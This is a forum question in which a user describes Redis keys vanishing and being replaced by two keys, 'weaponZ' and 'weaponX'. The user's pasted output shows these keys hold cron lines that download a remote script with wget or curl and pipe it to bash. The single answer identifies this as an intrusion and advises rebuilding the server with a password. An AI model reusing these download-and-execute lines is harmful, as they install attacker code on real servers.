My redis server loses keys every few minutes

Question

My redis server loses keys every few minutes. This is so wired and i cannot find the reason of this problem. I was trying to keep my keys with expireat option, but expire and expireat options are ignored after few minutes, all keys are gone and two wired keys are added, "weaponsZ" , "weaponsX". I don't know how that wired keys are existed in my redis.

Please help, I think that I am gonna crazy.

This is my environment. [OS : Ubuntu 16.04.5 64bit, Redis : 4.0.10, GPU : Nvidia 1080 Ti, Tensorflow 1.0, CUDA 8]

• 127.0.0.1:6379> set 'a' 1
• OK
• 127.0.0.1:6379> expireat 'a' 1637309179

• (integer) 1

• $ redis-cli info

• ...

• db0:keys=1,expires=1,avg_ttl=99994268099

• (after few minutes)

• $ redis-cli

• 127.0.0.1:6379> KEYS *
• 1) "weaponZ"
• 2) "weaponX"
• 127.0.0.1:6379> get "weaponZ"
• "\n*/7 * * * * wget -q -O- https://pixeldra.in/api/download/m5YEMO --no-check-certificate | bash\n"
• 127.0.0.1:6379> get "weaponX"
• "\n*/5 * * * * curl -fsSLk https://pixeldra.in/api/download/m5YEMO | bash\n"

Answer 1

Your server is being accessed by a nefarious party in an attempt to gain access to its resources. You should burn the server, and set a new one up with a password if it is connected to the outside world.